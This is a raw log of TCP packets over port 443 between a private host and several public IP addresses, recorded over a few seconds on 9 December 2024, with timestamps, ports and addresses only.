Dec 9, 2024 14:19:35.721657038 CET	443	49761	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:35.721939087 CET	49761	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:35.721971035 CET	443	49761	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:35.723037004 CET	443	49761	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:35.723109007 CET	49761	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:35.723424911 CET	49761	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:35.723500967 CET	443	49761	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:35.723582029 CET	49761	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:35.723597050 CET	443	49761	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:35.728533983 CET	49760	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:35.728547096 CET	443	49760	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:35.774883986 CET	49761	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:35.775106907 CET	49760	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:36.117150068 CET	443	49760	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:36.117233038 CET	443	49760	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:36.117264986 CET	443	49760	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:36.117300987 CET	443	49760	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:36.117300987 CET	49760	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:36.117321014 CET	443	49760	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:36.117341995 CET	49760	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:36.126502991 CET	443	49760	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:36.129239082 CET	49760	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:36.129250050 CET	443	49760	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:36.134867907 CET	443	49760	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:36.135413885 CET	49760	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:36.135422945 CET	443	49760	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:36.171525955 CET	443	49761	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:36.171641111 CET	443	49761	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:36.171672106 CET	443	49761	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:36.171705008 CET	443	49761	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:36.171721935 CET	49761	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:36.171760082 CET	443	49761	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:36.171778917 CET	49761	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:36.178500891 CET	443	49761	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:36.181168079 CET	49761	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:36.181193113 CET	443	49761	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:36.185067892 CET	49760	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:36.187216043 CET	443	49761	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:36.189163923 CET	49761	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:36.189189911 CET	443	49761	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:36.237143040 CET	443	49760	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:36.241209030 CET	443	49760	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:36.244870901 CET	49761	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:36.244910955 CET	443	49761	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:36.244916916 CET	49760	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:36.244937897 CET	443	49760	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:36.286458015 CET	49767	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:36.286523104 CET	443	49767	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:36.286648035 CET	49767	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:36.286910057 CET	49767	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:36.286922932 CET	443	49767	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:36.299257040 CET	49761	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:36.299292088 CET	443	49761	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:36.299349070 CET	49760	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:36.308870077 CET	443	49760	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:36.312757015 CET	443	49760	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:36.312824011 CET	49760	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:36.312834978 CET	443	49760	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:36.318695068 CET	443	49760	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:36.318749905 CET	49760	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:36.318757057 CET	443	49760	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:36.334131956 CET	443	49760	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:36.334207058 CET	443	49760	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:36.334255934 CET	49760	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:36.334264994 CET	443	49760	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:36.334301949 CET	49760	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:36.341819048 CET	443	49760	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:36.344834089 CET	49761	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:36.349273920 CET	443	49760	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:36.349318981 CET	443	49760	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:36.349328041 CET	49760	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:36.349340916 CET	443	49760	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:36.349391937 CET	49760	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:36.357637882 CET	443	49760	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:36.364708900 CET	443	49761	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:36.365838051 CET	443	49760	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:36.365889072 CET	49760	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:36.365900993 CET	443	49760	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:36.368565083 CET	443	49761	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:36.368630886 CET	443	49761	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:36.368685961 CET	49761	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:36.368721008 CET	443	49761	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:36.368760109 CET	49761	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:36.373991013 CET	443	49760	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:36.374042034 CET	49760	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:36.374049902 CET	443	49760	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:36.377377033 CET	443	49761	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:36.380481005 CET	443	49760	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:36.380542040 CET	49760	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:36.380549908 CET	443	49760	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:36.383929014 CET	443	49761	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:36.383971930 CET	49761	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:36.384005070 CET	443	49761	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:36.392657995 CET	443	49761	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:36.392702103 CET	49761	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:36.392712116 CET	443	49761	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:36.392921925 CET	443	49761	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:36.392971039 CET	49761	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:36.393657923 CET	49761	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:36.393676043 CET	443	49761	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:36.394252062 CET	443	49760	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:36.394308090 CET	49760	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:36.394319057 CET	443	49760	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:36.396756887 CET	49768	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:36.396801949 CET	443	49768	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:36.396925926 CET	49768	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:36.397200108 CET	49768	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:36.397223949 CET	443	49768	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:36.408519030 CET	443	49760	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:36.408571959 CET	49760	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:36.408581972 CET	443	49760	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:36.408593893 CET	443	49760	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:36.408627987 CET	49760	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:36.408633947 CET	443	49760	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:36.408680916 CET	443	49760	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:36.408724070 CET	49760	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:36.408912897 CET	49760	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:36.408926964 CET	443	49760	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:36.408937931 CET	49760	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:36.408966064 CET	49760	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:36.557966948 CET	443	49729	172.217.21.36	192.168.2.9
Dec 9, 2024 14:19:36.558018923 CET	443	49729	172.217.21.36	192.168.2.9
Dec 9, 2024 14:19:36.558120966 CET	49729	443	192.168.2.9	172.217.21.36
Dec 9, 2024 14:19:36.606632948 CET	49729	443	192.168.2.9	172.217.21.36
Dec 9, 2024 14:19:36.606692076 CET	443	49729	172.217.21.36	192.168.2.9
Dec 9, 2024 14:19:37.498150110 CET	443	49767	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:37.498455048 CET	49767	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:37.498469114 CET	443	49767	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:37.498775005 CET	443	49767	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:37.499252081 CET	49767	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:37.499325037 CET	443	49767	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:37.499485970 CET	49767	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:37.543329000 CET	443	49767	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:37.606193066 CET	443	49768	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:37.606519938 CET	49768	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:37.606549025 CET	443	49768	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:37.606838942 CET	443	49768	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:37.607194901 CET	49768	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:37.607247114 CET	443	49768	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:37.607413054 CET	49768	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:37.655325890 CET	443	49768	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:37.938793898 CET	443	49767	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:37.938854933 CET	443	49767	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:37.938883066 CET	443	49767	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:37.938905001 CET	49767	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:37.938915968 CET	443	49767	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:37.938926935 CET	443	49767	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:37.939006090 CET	49767	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:37.939021111 CET	443	49767	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:37.939074993 CET	49767	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:37.939291000 CET	443	49767	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:37.947289944 CET	443	49767	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:37.947340965 CET	49767	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:37.947352886 CET	443	49767	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:37.955667019 CET	443	49767	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:37.955734968 CET	49767	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:37.955746889 CET	443	49767	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:38.010871887 CET	49767	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:38.010884047 CET	443	49767	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:38.055294991 CET	49767	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:38.057574987 CET	443	49768	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:38.057663918 CET	443	49768	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:38.057727098 CET	49768	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:38.058453083 CET	49768	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:38.058466911 CET	443	49768	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:38.062438965 CET	49774	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:38.062479019 CET	443	49774	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:38.062550068 CET	49774	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:38.062776089 CET	49774	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:38.062788010 CET	443	49774	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:38.130667925 CET	443	49767	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:38.133008003 CET	443	49767	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:38.133090019 CET	49767	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:38.133101940 CET	443	49767	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:38.147620916 CET	443	49767	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:38.147664070 CET	443	49767	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:38.147702932 CET	49767	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:38.147712946 CET	443	49767	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:38.148037910 CET	49767	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:38.154714108 CET	443	49767	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:38.162841082 CET	443	49767	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:38.162913084 CET	49767	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:38.162921906 CET	443	49767	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:38.170355082 CET	443	49767	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:38.170468092 CET	49767	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:38.170475006 CET	443	49767	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:38.178383112 CET	443	49767	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:38.178462982 CET	49767	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:38.178476095 CET	443	49767	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:38.186038971 CET	443	49767	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:38.186108112 CET	49767	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:38.186117887 CET	443	49767	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:38.194932938 CET	443	49767	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:38.195053101 CET	49767	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:38.195070982 CET	443	49767	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:38.209359884 CET	443	49767	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:38.209475994 CET	49767	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:38.209492922 CET	443	49767	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:38.259304047 CET	49767	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:38.259320021 CET	443	49767	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:38.305943012 CET	49767	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:38.323275089 CET	443	49767	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:38.326658010 CET	443	49767	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:38.326751947 CET	49767	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:38.326766968 CET	443	49767	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:38.333982944 CET	443	49767	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:38.334086895 CET	49767	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:38.334098101 CET	443	49767	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:38.341167927 CET	443	49767	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:38.341244936 CET	49767	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:38.341255903 CET	443	49767	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:38.348417997 CET	443	49767	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:38.348498106 CET	49767	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:38.348510027 CET	443	49767	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:38.369398117 CET	443	49767	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:38.369410038 CET	443	49767	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:38.369488955 CET	49767	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:38.369501114 CET	443	49767	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:38.375942945 CET	443	49767	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:38.376028061 CET	49767	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:38.376043081 CET	443	49767	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:38.376190901 CET	49767	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:38.382780075 CET	443	49767	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:38.396987915 CET	443	49767	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:38.397059917 CET	49767	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:38.397072077 CET	443	49767	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:38.397114992 CET	49767	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:38.404200077 CET	443	49767	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:38.404211998 CET	443	49767	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:38.404254913 CET	49767	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:38.417826891 CET	443	49767	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:38.417839050 CET	443	49767	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:38.417916059 CET	49767	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:38.430746078 CET	443	49767	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:38.430758953 CET	443	49767	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:38.430814028 CET	49767	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:38.438735962 CET	443	49767	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:38.438750982 CET	443	49767	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:38.438797951 CET	49767	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:38.451493025 CET	443	49767	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:38.451554060 CET	49767	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:38.516180038 CET	443	49767	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:38.516248941 CET	49767	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:38.518862009 CET	443	49767	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:38.518930912 CET	49767	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:38.529882908 CET	443	49767	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:38.529953003 CET	49767	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:38.535731077 CET	443	49767	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:38.535898924 CET	49767	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:38.547071934 CET	443	49767	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:38.547219992 CET	49767	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:38.556585073 CET	443	49767	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:38.556665897 CET	49767	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:38.556726933 CET	443	49767	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:38.556783915 CET	49767	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:38.556791067 CET	443	49767	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:38.556806087 CET	443	49767	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:38.556854010 CET	49767	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:38.556934118 CET	49767	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:38.556955099 CET	443	49767	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:38.559865952 CET	49775	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:38.559979916 CET	443	49775	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:38.560048103 CET	49775	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:38.560376883 CET	49775	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:38.560405970 CET	443	49775	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:38.582500935 CET	49776	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:19:38.582546949 CET	443	49776	104.21.1.136	192.168.2.9
Dec 9, 2024 14:19:38.582684040 CET	49776	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:19:38.582998037 CET	49776	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:19:38.583009958 CET	443	49776	104.21.1.136	192.168.2.9
Dec 9, 2024 14:19:38.722378969 CET	49777	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:38.722418070 CET	443	49777	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:38.722493887 CET	49777	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:38.722870111 CET	49777	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:38.722879887 CET	443	49777	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:39.273662090 CET	443	49774	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:39.277349949 CET	49774	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:39.277369022 CET	443	49774	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:39.277848005 CET	443	49774	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:39.279614925 CET	49774	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:39.279700994 CET	443	49774	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:39.279764891 CET	49774	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:39.327330112 CET	443	49774	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:39.717931986 CET	443	49774	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:39.718029976 CET	443	49774	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:39.720045090 CET	49774	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:39.720284939 CET	49774	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:39.720300913 CET	443	49774	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:39.773313999 CET	443	49775	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:39.773605108 CET	49775	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:39.773633003 CET	443	49775	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:39.773977041 CET	443	49775	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:39.774307013 CET	49775	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:39.774364948 CET	443	49775	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:39.774512053 CET	49775	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:39.793549061 CET	443	49776	104.21.1.136	192.168.2.9
Dec 9, 2024 14:19:39.793828964 CET	49776	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:19:39.793840885 CET	443	49776	104.21.1.136	192.168.2.9
Dec 9, 2024 14:19:39.794825077 CET	443	49776	104.21.1.136	192.168.2.9
Dec 9, 2024 14:19:39.794907093 CET	49776	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:19:39.795248985 CET	49776	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:19:39.795294046 CET	49776	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:19:39.795310020 CET	443	49776	104.21.1.136	192.168.2.9
Dec 9, 2024 14:19:39.795381069 CET	49776	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:19:39.795381069 CET	49776	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:19:39.795710087 CET	49783	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:19:39.795768023 CET	443	49783	104.21.1.136	192.168.2.9
Dec 9, 2024 14:19:39.795830011 CET	49783	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:19:39.796045065 CET	49783	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:19:39.796060085 CET	443	49783	104.21.1.136	192.168.2.9
Dec 9, 2024 14:19:39.819329023 CET	443	49775	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:39.932429075 CET	443	49777	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:39.932678938 CET	49777	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:39.932708025 CET	443	49777	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:39.933021069 CET	443	49777	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:39.933497906 CET	49777	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:39.933609009 CET	443	49777	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:39.933712006 CET	49777	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:39.933754921 CET	49777	443	192.168.2.9	104.18.95.41
Dec 9, 2024 14:19:39.933784962 CET	443	49777	104.18.95.41	192.168.2.9
Dec 9, 2024 14:19:40.214469910 CET	443	49775	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:40.214521885 CET	443	49775	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:40.214553118 CET	443	49775	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:40.214571953 CET	49775	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:40.214580059 CET	443	49775	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:40.214606047 CET	443	49775	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:40.214622021 CET	49775	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:40.214641094 CET	443	49775	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:40.214673996 CET	49775	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:40.214679956 CET	443	49775	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:40.223063946 CET	443	49775	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:40.223138094 CET	49775	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:40.223151922 CET	443	49775	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:40.239646912 CET	443	49775	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:40.239732027 CET	49775	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:40.239748955 CET	443	49775	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:40.281332016 CET	49775	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:40.334101915 CET	443	49775	104.18.94.41	192.168.2.9
Dec 9, 2024 14:19:40.389678001 CET	49775	443	192.168.2.9	104.18.94.41
Dec 9, 2024 14:19:40.389714956 CET	443	49775	104.18.94.41	192.168.2.9
